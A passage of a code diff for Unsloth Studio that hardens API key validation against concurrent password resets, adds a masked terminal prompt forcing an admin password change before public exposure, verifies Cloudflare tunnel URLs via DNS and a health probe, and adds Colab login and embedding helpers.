-596,6 +972,7 @@ def create_api_key( name: str, expires_at: Optional[str] = None, internal: bool = False, + expect_gen: Optional[str] = None, ) -> Tuple[str, dict]: """Create a new API key for *username*. @@ -604,6 +981,10 @@ def create_api_key( Pass ``internal=True`` for keys minted by workflows (e.g. data-recipe runs) that should not appear in user-facing key listings. + + ``expect_gen`` ties the insert to the credential generation the request + authenticated under, so a session revoked by a concurrent password reset + cannot mint a key that outlives it. Raises ``CredentialRotated`` if it moved. """ raw_key = API_KEY_PREFIX + secrets.token_hex(16) key_hash = _pbkdf2_api_key(raw_key) @@ -612,6 +993,12 @@ def create_api_key( conn = get_connection() try: + if expect_gen is not None: + conn.execute("BEGIN IMMEDIATE") + if _current_generation(conn, username) != expect_gen: + raise CredentialRotated( + "The credential this request authenticated with was revoked." + ) conn.execute( """ INSERT INTO api_keys (username, key_prefix, key_hash, name, created_at, expires_at, is_internal) @@ -700,13 +1087,25 @@ def revoke_internal_api_key(key_id: int) -> bool: def validate_api_key(raw_key: str) -> Optional[str]: - """Validate *raw_key* and return the owning username, or ``None``. + """Validate *raw_key* and return the owning username, or ``None``.""" + verified = validate_api_key_with_credential(raw_key) + return verified[0] if verified else None - Also updates ``last_used_at`` on success. + +def validate_api_key_with_credential(raw_key: str) -> Optional[Tuple[str, str]]: + """Validate *raw_key* and return ``(username, jwt_secret)``, or ``None``. + + Also updates ``last_used_at`` on success. The key check and the credential + read share one write transaction, so the returned version is the one the key + was actually valid under: a reset committing right after cannot have its new + generation handed to a request the key it revoked authenticated. """ - key_hash = _pbkdf2_api_key(raw_key) + cache_id = _api_key_cache_id(raw_key) + cached_hash = _api_key_hash_cache.get(cache_id) + key_hash = cached_hash if cached_hash is not None else _pbkdf2_api_key(raw_key) conn = get_connection() try: + conn.execute("BEGIN IMMEDIATE") cur = conn.execute( "SELECT id, username, is_active, expires_at FROM api_keys WHERE key_hash = ?", (key_hash,), @@ -714,17 +1113,27 @@ def validate_api_key(raw_key: str) -> Optional[str]: row = cur.fetchone() if row is None: return None + # Real key: memoize so later requests skip the KDF. Bounded; clear on overflow. + if cached_hash is None: + with _api_key_hash_cache_lock: + if len(_api_key_hash_cache) >= _API_KEY_HASH_CACHE_MAX: + _api_key_hash_cache.clear() + _api_key_hash_cache[cache_id] = key_hash if not row["is_active"]: return None if row["expires_at"] is not None: expires = datetime.fromisoformat(row["expires_at"]) if datetime.now(timezone.utc) > expires: return None + secret = _current_secret(conn, row["username"]) + if secret is None: + return None conn.execute( "UPDATE api_keys SET last_used_at = ? WHERE id = ?", (datetime.now(timezone.utc).isoformat(), row["id"]), ) conn.commit() - return row["username"] + return row["username"], secret finally: + conn.rollback() conn.close() diff --git a/studio/backend/auth/terminal_prompt.py b/studio/backend/auth/terminal_prompt.py new file mode 100644 index 0000000000..925404f47d --- /dev/null +++ b/studio/backend/auth/terminal_prompt.py @@ -0,0 +1,286 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Interactive terminal prompt that forces a bootstrap password change before +Unsloth is exposed on a public Cloudflare URL (``--secure`` / ``--cloudflare``). + +Masked input echoes one ``*`` per keystroke (unlike ``getpass``). Works on +Windows (``msvcrt``) and Linux/macOS (``termios``). All output goes to stderr so +redirected stdout never swallows the prompt. + +Mirrored for the CLI at ``unsloth_cli/commands/_password_prompt.py`` (the CLI +cannot import the Unsloth backend package); keep the two in sync. +""" + +from __future__ import annotations + +import os +import sys +from typing import Callable, TextIO + +_CTRL_C = "\x03" +_CTRL_D = "\x04" +_CTRL_Z = "\x1a" +_BACKSPACES = ("\x7f", "\x08") +_SUBMITS = ("\r", "\n") + +# Env var that supplies the initial admin password non-interactively (mirror in +# unsloth_cli/commands/_password_prompt.py). Keep the name in sync. +SUPPLIED_PASSWORD_ENV = "UNSLOTH_STUDIO_PASSWORD" + + +def _getch_windows() -> str: # pragma: no cover - exercised via fake on Linux CI + import msvcrt + + ch = msvcrt.getwch() + # Function/arrow keys arrive as a two-wchar \x00/\xe0 sequence; consume the + # second half and report a no-op control char. + if ch in ("\x00", "\xe0"): + msvcrt.getwch() + return "\x00" + return ch + + +class _RestoreTtyOnSignals: + """Restore terminal attrs if SIGTERM/SIGHUP kills the prompt mid-read. + + A finally block can't run when a signal terminates the process, leaving the + shared terminal in cbreak/no-echo. Best-effort: no-op off the main thread or + where the signals are absent. + """ + + def __init__(self, fd: int, old_attrs) -> None: + self._fd = fd + self._old_attrs = old_attrs + self._previous: list = [] + + def __enter__(self) -> "_RestoreTtyOnSignals": + import signal + import termios + + def _restore_and_reraise(signum, frame): + termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs) + signal.signal(signum, signal.SIG_DFL) + signal.raise_signal(signum) + + for name in ("SIGTERM", "SIGHUP"): + sig = getattr(signal, name, None) + if sig is None: + continue + try: + self._previous.append((sig, signal.signal(sig, _restore_and_reraise))) + except (ValueError, OSError): # non-main thread / unsupported + pass + return self + + def __exit__(self, *exc) -> None: + import signal + for sig, previous in self._previous: + try: + signal.signal(sig, previous) + except (ValueError, OSError): + pass + + +class _prompt_raw_mode: + """Hold cbreak + cleared ISIG (no echo) on stdin for the WHOLE prompt line, + restoring when the line finishes (and on SIGTERM/SIGHUP). + + Echo must never re-enable mid-line: cbreak echoes on receipt, so a keystroke + arriving while echo is on would appear in cleartext. One cbreak block for the + whole line closes that window. No-op when stdin is not a real terminal, so + the _getch seam can be faked in tests. + """ + + def __enter__(self) -> "_prompt_raw_mode": + self._fd = None + self._old_attrs = None + self._signals = None + try: + import termios + import tty + except ImportError: # non-POSIX (Windows uses msvcrt, no mode to hold) + return self + try: + fd = sys.stdin.fileno() + old_attrs = termios.tcgetattr(fd) + except (AttributeError, ValueError, OSError, termios.error): + return self # redirected / captured stdin (tests): nothing to hold + self._fd = fd + self._old_attrs = old_attrs + self._signals = _RestoreTtyOnSignals(fd, old_attrs) + self._signals.__enter__() + # cbreak (not raw) keeps output post-processing while disabling echo/line + # buffering. It leaves ISIG on, so clear it and surface Ctrl-C as \x03 to + # the caller loop, which restores the tty itself. + tty.setcbreak(fd, termios.TCSADRAIN) + new_attrs = termios.tcgetattr(fd) + new_attrs[3] &= ~termios.ISIG + termios.tcsetattr(fd, termios.TCSADRAIN, new_attrs) + return self + + def __exit__(self, *exc) -> None: + if self._old_attrs is None: + return + import termios + try: + termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs) + finally: + if self._signals is not None: + self._signals.__exit__(*exc) + + +def _getch_posix() -> str: # pragma: no cover - needs a real tty + # Terminal already in cbreak+no-echo for the whole line (_prompt_raw_mode), + # so just read. Byte-at-a-time incremental decode so a multi-byte UTF-8 char + # straddling a read boundary isn't dropped. + import codecs + + fd = sys.stdin.fileno() + decoder = codecs.getincrementaldecoder(sys.stdin.encoding or "utf-8")("replace") + while True: + b = os.read(fd, 1) + if not b: + return "" # stream EOF; caller raises EOFError + ch = decoder.decode(b) + if ch: + return ch + + +_getch: Callable[[], str] = _getch_windows if os.name == "nt" else _getch_posix + + +def _read_password(prompt: str, *, out: "TextIO | None" = None) -> str: + """Read one masked line: echo ``*`` per char, support backspace editing. + + Raises KeyboardInterrupt on Ctrl-C and EOFError on Ctrl-D/Ctrl-Z with an + empty buffer; the terminal is restored on every exit path. + """ + if out is None: + out = sys.stderr + out.write(prompt) + out.flush() + chars: list[str] = [] + with _prompt_raw_mode(): + while True: + key = _getch() + if key == "": # stream ended mid-line: abort, don't submit a partial + out.write("\n") + out.flush() + raise EOFError + for ch in key: # a paste can deliver several chars per read + if ch in _SUBMITS: + out.write("\n") + out.flush() + return "".join(chars) + if ch == _CTRL_C: + out.write("\n") + out.flush() + raise KeyboardInterrupt + if ch in (_CTRL_D, _CTRL_Z): + if not chars: + out.write("\n") + out.flush() + raise EOFError + continue # ignore mid-input + if ch in _BACKSPACES: + if chars: + chars.pop() + out.write("\b \b") + out.flush() + continue + if ch < " ": # other control characters (tab, escape, ...) + continue + chars.append(ch) + out.write("*") + out.flush() + + +def should_prompt_password_change( + *, tunnel_will_start: bool, requires_change: bool, stdin_isatty: bool, stderr_isatty: bool +) -> bool: + """Whether to block startup on an interactive terminal password change. + + True only when the tunnel is actually about to start, the admin still has + the seeded password, and both stdin and stderr are real terminals (headless + launches keep the bootstrap-timeout protection instead of hanging). + """ + return tunnel_will_start and requires_change and stdin_isatty and stderr_isatty + + +def prompt_for_password_change( + *, + min_length: int, + is_current_password: Callable[[str], bool], + apply_change: Callable[[str], None], + username: str = "unsloth", + out: "TextIO | None" = None, +) -> bool: + """Force a new admin password before public exposure; True on success. + + Loops until a valid, confirmed password is committed via ``apply_change``. + Ctrl-C / EOF returns False; the caller must then abort the launch. + """ + if out is None: + out = sys.stderr + out.write( + "\n" + "Unsloth Studio will be exposed on the public internet, so set a\n" + "password now. Ctrl+C to abort.\n\n" + ) + out.flush() + try: + while True: + new_password = _read_password("New password: ", out = out) + if len(new_password) < min_length: + out.write(f"Password must be at least {min_length} characters; try again.\n") + out.flush() + continue + if any(ch.isspace() for ch in new_password): + out.write("Password cannot contain spaces; try again.\n") + out.flush() + continue + if is_current_password(new_password): + out.write( + "New password must differ from the current bootstrap password; try again.\n" + ) + out.flush() + continue + confirmation = _read_password("Confirm new password: ", out = out) + if confirmation != new_password: + out.write("Passwords do not match; try again.\n") + out.flush() + continue + apply_change(new_password) + out.write(f"Password updated for '{username}'.\n") + out.flush() + return True + except (KeyboardInterrupt, EOFError): + out.write("Password change aborted; not exposing Unsloth.\n") + out.flush() + return False + + +def resolve_supplied_password(cli_value: "str | None", out: "TextIO | None" = None) -> "str | None": + """Resolve a non-interactive initial admin password, or None if unset. + + Precedence: an explicit ``--password`` (literal ``-`` reads a line from + stdin), then the ``UNSLOTH_STUDIO_PASSWORD`` env var; empty/omitted means off. + A literal argv value is visible in the process list, so a note points at the + env var or stdin instead. Mirror of the CLI helper -- keep the two in sync. + """ + if out is None: + out = sys.stderr + if cli_value == "-": + line = sys.stdin.readline() + if not line: + return None + return line.rstrip("\r\n") or None + if cli_value: + out.write( + "Note: --password is visible in the process list and shell history; " + f"prefer {SUPPLIED_PASSWORD_ENV} or --password - (stdin).\n" + ) + out.flush() + return cli_value + return os.environ.get(SUPPLIED_PASSWORD_ENV) or None diff --git a/studio/backend/cloudflare_tunnel.py b/studio/backend/cloudflare_tunnel.py index e5dba69452..f7967e2faa 100644 --- a/studio/backend/cloudflare_tunnel.py +++ b/studio/backend/cloudflare_tunnel.py @@ -1,13 +1,13 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Free Cloudflare quick tunnel for Studio's 0.0.0.0 launches. +"""Free Cloudflare quick tunnel for Unsloth's 0.0.0.0 launches. The raw http://: is often unreachable (https-vs-http, blocked ports, closed security groups); a cloudflared quick tunnel gives a free https://*.trycloudflare.com URL that works anywhere, with no account or domain. -Best-effort throughout: any failure collapses to "no URL" and Studio keeps +Best-effort throughout: any failure collapses to "no URL" and Unsloth keeps running. Stdlib only (back-end imports are lazy) so it is safe to import early. """ @@ -20,6 +20,7 @@ import shutil import subprocess import sys import threading +import time from pathlib import Path from typing import Optional, Tuple @@ -40,6 +41,22 @@ _RELEASE_BASE = "https://github.com/cloudflare/cloudflared/releases/latest/downl _READY_TIMEOUT = 15.0 # seconds to wait for the URL + a registered edge connection _DOWNLOAD_TIMEOUT = 60 # urlopen timeout for the one-time binary download +# A registered edge connection does not mean the hostname resolves yet, so the +# URL is fetched once before it is advertised. +_PUBLIC_PROBE_PATH = "/api/health" +_PUBLIC_PROBE_MARKER = "Unsloth UI Backend" +# One deadline for DNS propagation + the health probe, bounding the startup stall. +_PUBLIC_PROBE_TIMEOUT = 45.0 +_PUBLIC_PROBE_ATTEMPT_TIMEOUT = 5.0 +_PUBLIC_PROBE_RETRY_DELAY = 1.0 + +# Wait for the hostname via DoH first: an early OS lookup negative-caches the +# NXDOMAIN for up to 30 min. +_DNS_POLL_DELAY = 2.0 +# Retry transient DoH failures, but give up fast when DoH is blocked outright. +_DNS_MAX_DOH_ERRORS = 3 +_DOH_URL = "https://cloudflare-dns.com/dns-query?name={host}&type=A" + def _windows_hidden_kwargs() -> dict: """Suppress a child console window on Windows; no-op elsewhere.""" @@ -49,6 +66,16 @@ def _windows_hidden_kwargs() -> dict: return {"creationflags": flags} if flags else {} +def _lifetime_kwargs() -> dict: + """Bind cloudflared to the parent's lifetime (Linux PDEATHSIG). Lazy + + best-effort so this module still loads standalone (storage_roots-style).""" + try: + from utils.process_lifetime import child_popen_kwargs + return child_popen_kwargs() + except Exception: + return {} + + def _asset_name() -> Optional[Tuple[str, bool]]: """(release asset filename, is_tgz) for this OS/arch, or None if unsupported.""" system = platform.system().lower() @@ -85,7 +112,7 @@ def _cache_path() -> Optional[Path]: def find_cloudflared() -> Optional[str]: - """Locate an existing cloudflared: PATH first, then the Studio bin cache.""" + """Locate an existing cloudflared: PATH first, then the Unsloth bin cache.""" on_path = shutil.which("cloudflared") if on_path: return on_path @@ -181,6 +208,59 @@ def ensure_cloudflared() -> Optional[str]: return None +def _wait_for_dns(host: str, deadline: float) -> None: + import json + import urllib.request + + errors = 0 + while True: + answered = False + try: + req = urllib.request.Request( + _DOH_URL.format(host = host), + headers = {"Accept": "application/dns-json", "User-Agent": "unsloth-studio"}, + ) + with urllib.request.urlopen(req, timeout = 5) as response: + answered = bool(json.loads(response.read(65536)).get("Answer")) + errors = 0 + except Exception: + errors += 1 + if errors >= _DNS_MAX_DOH_ERRORS: + return + if answered: + return + remaining = deadline - time.monotonic() + if remaining <= 0: + return + time.sleep(min(_DNS_POLL_DELAY, remaining)) + + +def verify_public_url(url: str, timeout: float = _PUBLIC_PROBE_TIMEOUT) -> bool: + import json + import urllib.request + from urllib.parse import urlsplit + + deadline = time.monotonic() + timeout + host = urlsplit(url).hostname + if host: + _wait_for_dns(host, deadline) + + probe_url = f"{url.rstrip('/')}{_PUBLIC_PROBE_PATH}" + while True: + try: + req = urllib.request.Request(probe_url, headers = {"User-Agent": "unsloth-studio"}) + with urllib.request.urlopen(req, timeout = _PUBLIC_PROBE_ATTEMPT_TIMEOUT) as response: + body = response.read(4096) + if json.loads(body).get("service") == _PUBLIC_PROBE_MARKER: + return True + except Exception: + pass + remaining = deadline - time.monotonic() + if remaining <= 0: + return False + time.sleep(min(_PUBLIC_PROBE_RETRY_DELAY, remaining)) + + class CloudflareTunnel: """A cloudflared quick tunnel to http://localhost:. Best-effort throughout. @@ -230,9 +310,11 @@ class CloudflareTunnel: stderr = subprocess.STDOUT, stdin = subprocess.DEVNULL, text = True, + encoding = "utf-8", errors = "replace", bufsize = 1, **_windows_hidden_kwargs(), + **_lifetime_kwargs(), ) self._proc = proc threading.Thread( @@ -298,7 +380,7 @@ class CloudflareTunnel: pass -# Single serving process per Studio launch, so one module-level tunnel handle is +# Single serving process per Unsloth launch, so one module-level tunnel handle is # enough; the lock guards the start/stop/shutdown races. _active_tunnel: Optional[CloudflareTunnel] = None _active_lock = threading.Lock() @@ -311,11 +393,12 @@ def start_studio_tunnel(port: int, timeout: float = _READY_TIMEOUT) -> Optional[ """Start a quick tunnel and return its public URL once it is actually serving, or None (best-effort). - Waits for cloudflared to both mint the URL and register an edge connection - before returning, so the caller never advertises a URL that yields Cloudflare - error 1033 (HTTP 530). If a URL is minted but no connection registers within - the window (e.g. quic is blocked on this network), retries once forcing the - http2 protocol. On any failure the tunnel is stopped and None is returned. + Waits for cloudflared to both mint the URL and register an edge connection, + then fetches /api/health over the public URL, so the caller never advertises + a link that yields Cloudflare error 1033 (HTTP 530) or an unresolvable host. + If a URL is minted but no connection registers within the window (e.g. quic + is blocked on this network), retries once forcing the http2 protocol. On any + failure the tunnel is stopped and None is returned. """ global _active_tunnel, _shutdown_requested binary = ensure_cloudflared() @@ -338,9 +421,13 @@ def start_studio_tunnel(port: int, timeout: float = _READY_TIMEOUT) -> Optional[ prior, _active_tunnel = _active_tunnel, tunnel if prior is not None: prior.stop() + registered = False try: tunnel.start() url = tunnel.wait_for_ready(timeout) + registered = url is not None + if url and not verify_public_url(url): + url = None except Exception: url = None if url: @@ -360,6 +447,9 @@ def start_studio_tunnel(port: int, timeout: float = _READY_TIMEOUT) -> Optional[ # http2 will not help, so do not burn another window on it. if not saw_url: return None + # probe failure after registering is DNS propagation; http2 would not help + if registered: + return None return None diff --git a/studio/backend/colab.py b/studio/backend/colab.py index ba46c52a6a..bf4a6a44b5 100644 --- a/studio/backend/colab.py +++ b/studio/backend/colab.py @@ -1,9 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -""" -Colab helpers for Unsloth Studio. Uses Colab's built-in proxy. -""" +"""Colab helpers for Unsloth Studio. Uses Colab's built-in proxy.""" from pathlib import Path import sys @@ -22,11 +20,9 @@ logger = get_logger(__name__) def get_colab_url(port: int = 8888) -> str: - """ - Get the Colab proxy URL for a port. + """Get the Colab proxy URL for a port. - Retries up to 3 times, validating the result is a real HTTPS Colab URL. - Falls back to http://localhost:{port} only when all attempts fail. + Retries 3x validating a real HTTPS Colab URL; falls back to localhost on failure. """ import time as _time @@ -55,28 +51,243 @@ def get_colab_url(port: int = 8888) -> str: return fallback -def show_link(port: int = 8888, *, _url: "str | None" = None): - """Display a styled clickable link to the UI. - - *_url* is an optional pre-fetched proxy URL; pass it to avoid a second eval_js round-trip. - """ - from IPython.display import display, HTML - - url = _url if _url is not None else get_colab_url(port) - - # Truncated display URL; try/except so an odd URL shape still renders the link. +def _short_colab_url(url: str, port: int) -> str: + """Truncated display form of a Colab proxy URL; falls back to the full URL.""" try: port_prefix = f"{port}-" idx = url.index(port_prefix) next_dash = url.index("-", idx + len(port_prefix)) - short_url = url[: next_dash + 1] + "..." + return url[: next_dash + 1] + "..." except (ValueError, IndexError): - short_url = url + return url - # Plain-text line so the URL shows even if HTML display fails. - logger.info(f"🌐 Unsloth Studio URL: {url}") - html = f""" +def _is_colab_proxy_url(url: str, port: int) -> bool: + """True when *url* looks like a real Colab kernel proxy, not a localhost fallback.""" + return bool(url and isinstance(url, str) and url.startswith("https://") and str(port) in url) + + +def _is_colab_runtime() -> bool: + """True on a hosted Colab notebook kernel. + + Reuses the backend's main Colab detector (``/content`` + Colab env / ``google.colab``) + instead of a single env var, which is not always present on hosted runtimes. + """ + try: + from main import _IS_COLAB + return bool(_IS_COLAB) + except Exception: + return False + + +def _colab_login_credentials_path() -> Path: + from auth.storage import DB_PATH + return DB_PATH.parent / ".colab_notebook_login" + + +def _store_colab_login_credentials(username: str, password: str) -> None: + """Persist Colab admin credentials for notebook re-runs after interrupt.""" + path = _colab_login_credentials_path() + try: + path.parent.mkdir(parents = True, exist_ok = True) + path.write_text(f"{username}\n{password}\n", encoding = "utf-8") + try: + import os + os.chmod(path, 0o600) + except OSError: + pass + except OSError as e: + logger.info(f"Could not persist Colab login credentials ({e}).") + + +def _load_colab_login_credentials() -> "tuple[str, str] | None": + """Return stored Colab admin credentials from a previous ``start()`` run, if any.""" + path = _colab_login_credentials_path() + try: + if not path.is_file(): + return None + lines = path.read_text(encoding = "utf-8").splitlines() + if len(lines) >= 2 and lines[0] and lines[1]: + return lines[0], lines[1] + except (OSError, UnicodeDecodeError) as e: + logger.info(f"Could not load Colab login credentials ({e}).") + return None + + +def _clear_colab_login_credentials() -> None: + """Drop the cached Colab credentials once they no longer authenticate.""" + path = _colab_login_credentials_path() + try: + path.unlink(missing_ok = True) + except OSError as e: + logger.info(f"Could not clear Colab login credentials ({e}).") + + +def _colab_credentials_still_valid(username: str, password: str) -> bool: + """True when *password* still matches the stored admin hash. + + Guards against redisplaying a cached first-run password after the user has + changed the admin password through the app, which would print credentials + that no longer authenticate to the current Cloudflare tunnel. + """ + try: + from auth.storage import get_user_and_secret + from auth.hashing import verify_password + except Exception as e: + logger.info(f"Could not load auth to validate cached Colab credentials ({e}).") + return False + try: + row = get_user_and_secret(username) + if not row: + return False + salt, pwd_hash = row[0], row[1] + return bool(verify_password(password, salt, pwd_hash)) + except Exception as e: + logger.info(f"Could not validate cached Colab credentials ({e}).") + return False + + +def _colab_wants_cloudflare(cloudflare: "bool | None") -> bool: + """Resolve whether to open a Cloudflare tunnel. + + ``None`` auto-enables on real Colab (the in-cell proxy embed is often blank); + pass ``False`` to opt out. + """ + if cloudflare is not None: + return cloudflare + return _is_colab_runtime() + + +def _finalize_colab_admin_password() -> "tuple[str, str] | None": + """Clear the bootstrap-password gate on Colab so Cloudflare tunnels can start. + + Returns ``(username, password)`` for display in the notebook. On first run the + random admin password is finalized; on later runs (e.g. after interrupt) the + stored credentials are re-displayed so the Cloudflare link stays usable. + Anyone who can read this cell already controls the runtime. + """ + if not _is_colab_runtime(): + return None + try: + from auth.storage import ( + DEFAULT_ADMIN_USERNAME, + ensure_default_admin, + generate_bootstrap_password, + get_bootstrap_password, + requires_password_change, + update_password, + ) + except Exception as e: + logger.warning( + f"Could not load auth for Colab setup ({e}); Cloudflare link may be blocked." + ) + return None + + try: + ensure_default_admin() + username = DEFAULT_ADMIN_USERNAME + if not requires_password_change(username): + creds = _load_colab_login_credentials() + if creds is not None and _colab_credentials_still_valid(username, creds[1]): + return creds + # The admin password was changed through the app after the first run, + # so the cached copy is stale; drop it instead of printing dead credentials. + _clear_colab_login_credentials() + return None + password = get_bootstrap_password() or generate_bootstrap_password() + if not update_password(username, password): + logger.warning( + "Could not finalize Colab admin password; Cloudflare link may be blocked." + ) + return None + _store_colab_login_credentials(username, password) + return username, password + except Exception as e: + logger.warning( + f"Could not finalize Colab admin password ({e}); Cloudflare link may be blocked." + ) + return None + + +def _colab_login_html(username: str, password: str) -> str: + """Notebook card with Colab admin credentials (shown once after auto-finalize).""" + return f""" +
+

+ Unsloth Studio Login (Colab) +

+

+ Log in as {username} with this password. This cell is visible only in + your notebook session. +

+

+ Password: {password} +

+
+ """ + + +def _show_colab_login_credentials(username: str, password: str) -> None: + """Display Colab admin credentials in the notebook output.""" + from IPython.display import HTML, display + + logger.info(f"🔐 Unsloth Studio login — user: {username}") + display(HTML(_colab_login_html(username, password))) + + +def _ready_card_html( + url: str, + port: int, + *, + has_cloudflare_link: bool = False, + cloudflare_requested: bool = False, +) -> str: + """Branded ready card for the in-notebook Studio view. + + Colab ``*.prod.colab.dev`` proxy URLs are session-scoped and 404 when opened as a + top-level tab or on another device, so never ``window.open`` them. On real Colab the + Cloudflare link is the supported entry point because in-cell proxy embeds often stay blank. + """ + short_url = _short_colab_url(url, port) + if _is_colab_runtime() or _is_colab_proxy_url(url, port): + if has_cloudflare_link: + embed_note = ( + "Open Studio with the Cloudflare link above. In-cell proxy previews on " + "current Colab often stay blank, so the tunnel link is the supported path." + ) + elif cloudflare_requested: + embed_note = ( + "Could not open a Cloudflare tunnel, so Studio may be unreachable on Colab. " + "Check the logs above and re-run this cell. Pass " + '' + "cloudflare=True after fixing any tunnel errors." + ) + else: + embed_note = ( + "Colab proxy links cannot be opened in a new tab (they 404 outside this " + 'notebook). Re-run with start(cloudflare=True) for a working link.' + ) + return f""" +
+

+ + Unsloth Studio is Ready! +

+

+ {embed_note} +

+

+ {short_url} +

+
+ """ + + return f"""

""" - display(HTML(html)) + + +def show_link( + port: int = 8888, + *, + _url: "str | None" = None, + has_cloudflare_link: bool = False, + cloudflare_requested: bool = False, +): + """Display a styled ready card for the UI. + + Colab proxy URLs are informational only (no new-tab open; they 404 outside the cell); + non-proxy URLs keep a clickable open button. *_url* is an optional pre-fetched proxy + URL to avoid a second eval_js round-trip. + """ + from IPython.display import display, HTML + + url = _url if _url is not None else get_colab_url(port) + logger.info(f"🌐 Unsloth Studio URL: {url}") + display( + HTML( + _ready_card_html( + url, + port, + has_cloudflare_link = has_cloudflare_link, + cloudflare_requested = cloudflare_requested, + ) + ) + ) + + +def _warn_colab_cloudflare_missing(*, use_cloudflare: bool, cloudflare_url: "str | None") -> None: + """Log a prominent warning when Colab expected a tunnel but none was opened.""" + if not use_cloudflare or cloudflare_url or not _is_colab_runtime(): + return + logger.warning( + "Colab Cloudflare tunnel unavailable — Studio is unlikely to be reachable in this " + "notebook. Check the logs above for tunnel or auth errors, then re-run start()." + ) + + +def _bootstrap_password_pending() -> bool: + """True while the default admin still owes a bootstrap-password change. + + While pending, a public tunnel GET (no Origin) reads as same-origin and gets the + injected password, so sharing the link would leak admin access. Fails safe to pending. + """ + try: + from auth.storage import requires_password_change, DEFAULT_ADMIN_USERNAME + return bool(requires_password_change(DEFAULT_ADMIN_USERNAME)) + except Exception as e: + logger.info(f"Could not check admin password state ({e}); refusing tunnel to be safe.") + return True + + +def start_cloudflare_tunnel(port: int) -> "str | None": + """Open a shareable Cloudflare quick tunnel to localhost:*port*, or None. + + run_server suppresses the tunnel on Colab, so we start it directly. Refused while the + bootstrap password is pending; any failure collapses to None (Colab proxy still works). + """ + if _bootstrap_password_pending(): + logger.warning( + "Cloudflare link not started: the admin account still has its temporary " + "bootstrap password, which is exposed to anyone who can load the page. " + "Open Unsloth in this tab, log in and change the admin password, then re-run " + "start(cloudflare=True) to get the shareable link." + ) + return None + try: + from cloudflare_tunnel import start_studio_tunnel + except Exception as e: + logger.info(f"Cloudflare tunnel unavailable ({e}); using Colab proxy only.") + return None + try: + url = start_studio_tunnel(port) + except Exception as e: + logger.info(f"Cloudflare tunnel failed to start ({e}); using Colab proxy only.") + return None + # Success is logged by _show_and_embed; note only misses here. + if not url: + logger.info("Cloudflare tunnel did not produce a URL; using Colab proxy only.") + return url + + +def _publish_cloudflare_url(cloudflare_url: "str | None") -> None: + """Publish a directly-started tunnel URL onto app.state so /api/health advertises it. + + run_server sets this only when it opens the tunnel itself (skipped on Colab), so we + set it here; otherwise the frontend's API examples fall back to an unreachable + server_url. Best-effort. + """ + if not cloudflare_url: + return + try: + from main import app as _studio_app + _studio_app.state.cloudflare_url = cloudflare_url + except Exception as e: + logger.info(f"Could not publish Cloudflare URL to /api/health ({e}).") + + +def _stop_cloudflare_tunnel() -> None: + """Best-effort teardown of the Cloudflare tunnel started by start_cloudflare_tunnel.""" + try: + from cloudflare_tunnel import stop_studio_tunnel + stop_studio_tunnel() + except Exception: + pass + # Stop /api/health advertising a dead tunnel. + try: + from main import app as _studio_app + _studio_app.state.cloudflare_url = None + except Exception: + pass def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool: - """Return True if a Studio backend is already answering health checks on *port*.""" - import urllib.request + """True only if Unsloth Studio (not some other app) answers /api/health on *port*. + + The service-marker check stops the reuse path reusing or tunneling a foreign process. + """ + import json, urllib.request try: - with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout): - return True + with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout) as r: + return json.loads(r.read()).get("service") == "Unsloth UI Backend" except Exception: return False -def _show_and_embed(port: int): - """Embed the Studio inline for *port* with a branded header bar. +def _shareable_link_html( + cloudflare_url: str, + password: "str | None" = None, + username: "str | None" = None, +) -> str: + """Branded card for the shareable Cloudflare link, styled like the show_link banner. - Fetches the proxy URL once (registering the port), then renders header bar + - iframe. Falls back to serve_kernel_port_as_iframe if IPython HTML is unavailable. + *password* renders under the link so the credential sits in the card with the button + it unlocks. The username is always the default admin, so it reads inline. + """ + login_block = "" + if password: + login_block = f""" +

+ Password +

+

{password}

+

+ Log in as {username} with this password. Shown only in your + notebook session, and never included in the shared link. +

""" + return f""" +
+

+ + Shareable Unsloth Link is Ready! +

+ + + Open Unsloth Studio + +

+ This Cloudflare HTTPS link works from any device, so you can share it with anyone. +

+

+ 🔗 {cloudflare_url} +

{login_block} +
""" - url = get_colab_url(port) - logger.info(f"🌐 Unsloth Studio URL: {url}") + +# Height for serve_kernel_port_as_iframe (~82vh on a 1080p screen, clamped). +_COLAB_IFRAME_HEIGHT = 900 + + +def _embed_kernel_port_iframe(port: int) -> bool: + """Embed Studio via Colab's native kernel-port iframe helper. + + Only trusted on a real Colab runtime: colabtools can import ``google.colab`` and + queue browser-side JS without appending an iframe, so callers outside Colab must use + the HTML iframe path instead. + """ + if not _is_colab_runtime(): + return False + try: + from google.colab import output as colab_output + except ImportError: + return False + try: + colab_output.serve_kernel_port_as_iframe( + port, + height = _COLAB_IFRAME_HEIGHT, + width = "100%", + ) + return True + except Exception as e: + logger.info(f"serve_kernel_port_as_iframe failed ({e}); trying HTML iframe.") + return False + + +def _embed_html_iframe(url: str, port: int) -> bool: + """Fallback embed: raw HTML iframe when the Colab helper is unavailable.""" try: from IPython.display import HTML, display + except ImportError: + return False - iframe_id = f"unsloth-studio-{port}" - - # Truncated header URL — best-effort, falls back to full URL. - try: - port_prefix = f"{port}-" - idx = url.index(port_prefix) - next_dash = url.index("-", idx + len(port_prefix)) - short_url = url[: next_dash + 1] + "..." - except (ValueError, IndexError): - short_url = url - + short_url = _short_colab_url(url, port) + iframe_id = f"unsloth-studio-{port}" + try: display( HTML(f"""
